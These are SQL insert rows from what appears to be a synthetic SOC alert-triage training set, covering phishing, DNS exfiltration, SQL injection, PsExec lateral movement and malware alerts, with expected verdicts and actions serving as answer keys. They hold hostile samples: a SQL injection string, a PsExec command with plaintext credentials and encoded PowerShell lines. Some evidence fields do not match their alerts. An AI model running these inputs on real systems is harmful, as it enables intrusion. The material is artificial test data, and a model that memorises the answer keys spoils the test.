(1253, 'Suspicious PowerShell Script Execution Detected', 'medium', 'Velociraptor', 'A PowerShell script with a potentially malicious command was executed on an internal host.', 'Malware', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-02-14T05:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.12\",\"hostname\":\"workstation01\",\"command_line\":\"powershell.exe -EncodedCommand JABhAGwAdABlAHIAdAAgACgAJwBzAG8AbQBlAC4AcwB1AHMAcABlAGMAdABlAHQAcgBlAGcAHwAnACkA\"}', '2026-02-14 17:33:14', '2026-03-11 12:24:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand JABhAGwAdABlAHIAdAAgACgAJwBzAG8AbQBlAC4AcwB1AHMAcABlAGMAdABlAHQAcgBlAGcAHwAnACkA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell command detected\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"collect_forensics\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command looks suspicious and warrants further investigation.\"}', 'Intermediate', 'IR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.739Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T05:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABhAGwAdABlAHIAdAAgACgAJwBzAG8AbQBlAC4AcwB1AHMAcABlAGMAdABlAHQAcgBlAGcAHwAnACkA\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.739Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T05:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABhAGwAdABlAHIAdAAgACgAJwBzAG8AbQBlAC4AcwB1AHMAcABlAGMAdABlAHQAcgBlAGcAHwAnACkA\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.739Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T05:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABhAGwAdABlAHIAdAAgACgAJwBzAG8AbQBlAC4AcwB1AHMAcABlAGMAdABlAHQAcgBlAGcAHwAnACkA\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.739Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T05:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABhAGwAdABlAHIAdAAgACgAJwBzAG8AbQBlAC4AcwB1AHMAcABlAGMAdABlAHQAcgBlAGcAHwAnACkA\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.739Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T05:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABhAGwAdABlAHIAdAAgACgAJwBzAG8AbQBlAC4AcwB1AHMAcABlAGMAdABlAHQAcgBlAGcAHwAnACkA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1254, 'Email Phishing Attempt with Malicious URL', 'critical', 'Proofpoint', 'Phishing email detected with a link pointing to a known malicious domain.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T06:45:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"src_email\":\"phisher@malicious.com\",\"dst_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"hostname\":\"email-server\",\"url\":\"http://malicious-domain.com/login\"}', '2026-02-12 22:48:13', '2026-02-16 17:44:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Email address associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-domain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious domain used for phishing\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The detected email contains a link to a malicious domain, indicating a phishing attempt.\"}', 'Intermediate', 'IR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Email Phishing Attempt with Malicious URL\",\"date\":\"2026-02-15T12:47:56.741Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1255, 'False Positive: Legitimate Admin Login from Known IP', 'low', 'Firewall', 'An admin login was flagged as suspicious but originated from a known and trusted IP address.', 'Access', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-02-14T07:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"corp-firewall\"}', '2026-02-13 12:35:28', '2026-02-15 12:47:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Trusted IP address belonging to corporate office\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"access\",\"analysis_notes\":\"The login was legitimate and originated from a known corporate IP address.\"}', 'Intermediate', 'IR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1256, 'Potential Data Exfiltration via Suspicious DNS Queries', 'high', 'CrowdStrike', 'Unusual DNS queries detected from an internal host to an unrecognized external domain.', 'Data Exfil', 'T1048', 0, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T09:12:45Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.1.15\",\"hostname\":\"workstation02\",\"domain\":\"suspicious-exfil.com\"}', '2026-02-12 21:49:20', '2026-02-19 15:52:50', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspicious-exfil.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_domain\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The DNS queries to a known malicious domain indicate potential data exfiltration.\"}', 'Intermediate', 'IR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1257, 'False Positive: Normal Network Traffic Misidentified as Anomaly', 'low', 'FTK', 'Routine network traffic flagged as suspicious due to a temporary network issue.', 'Network Anomaly', 'T1071', 0, 'Closed', 229, '{\"timestamp\":\"2026-02-14T10:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"192.168.1.102\",\"hostname\":\"server01\"}', '2026-02-14 10:21:27', '2026-03-10 23:21:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network\",\"analysis_notes\":\"The alert was triggered due to a temporary issue that misidentified routine traffic as anomalous.\"}', 'Intermediate', 'IR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.745Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.101\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"hostname\\\":\\\"server01\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.745Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.101\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"hostname\\\":\\\"server01\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.745Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.101\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"hostname\\\":\\\"server01\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.745Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.101\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"hostname\\\":\\\"server01\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.745Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.101\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"hostname\\\":\\\"server01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1258, 'SQL Injection Attempt Detected on Public Web Server', 'critical', 'Wazuh', 'A potential SQL injection attempt identified in the request body of an incoming web request.', 'Web Attack', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T11:15:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.55\",\"dst_ip\":\"203.0.113.10\",\"hostname\":\"public-web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-02-12 23:40:47', '2026-02-16 17:43:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body contains a classic SQL injection payload, indicating an attack attempt.\"}', 'Intermediate', 'IR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.746Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T11:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.55\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"public-web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.746Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T11:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.55\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"public-web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.746Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T11:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.55\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"public-web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.746Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T11:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.55\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"public-web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.746Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T11:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.55\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"public-web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1259, 'Lateral Movement Detected via PsExec Tool', 'high', 'Velociraptor', 'PsExec tool execution detected indicating potential lateral movement between internal hosts.', 'Lateral Movement', 'T1077', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T13:25:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"192.168.1.30\",\"hostname\":\"workstation03\",\"command_line\":\"PsExec.exe \\\\\\\\192.168.1.30 -u admin -p password cmd\"}', '2026-02-14 17:16:06', '2026-02-19 15:18:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\192.168.1.30 -u admin -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PsExec usage detected\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PsExec for remote execution indicates possible lateral movement within the network.\"}', 'Intermediate', 'IR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.747Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T13:25:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"hostname\\\":\\\"workstation03\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.747Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T13:25:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"hostname\\\":\\\"workstation03\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.747Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T13:25:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"hostname\\\":\\\"workstation03\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.747Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T13:25:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"hostname\\\":\\\"workstation03\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.747Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T13:25:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"hostname\\\":\\\"workstation03\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u admin -p password cmd\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1260, 'Malware Detected in Executable File via Volatility', 'critical', 'Volatility', 'A malware executable file was detected based on its hash during memory analysis.', 'Malware', 'T1105', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T14:45:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.40\",\"hostname\":\"infected-host\",\"command_line\":\"malware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-02-13 18:11:42', '2026-02-16 17:42:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash matches a known malware signature, confirming the presence of malware.\"}', 'Intermediate', 'IR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.748Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T14:45:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"hostname\\\":\\\"infected-host\\\",\\\"command_line\\\":\\\"malware.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.748Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T14:45:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"hostname\\\":\\\"infected-host\\\",\\\"command_line\\\":\\\"malware.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.748Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T14:45:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"hostname\\\":\\\"infected-host\\\",\\\"command_line\\\":\\\"malware.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.748Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T14:45:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"hostname\\\":\\\"infected-host\\\",\\\"command_line\\\":\\\"malware.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.748Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T14:45:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"hostname\\\":\\\"infected-host\\\",\\\"command_line\\\":\\\"malware.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
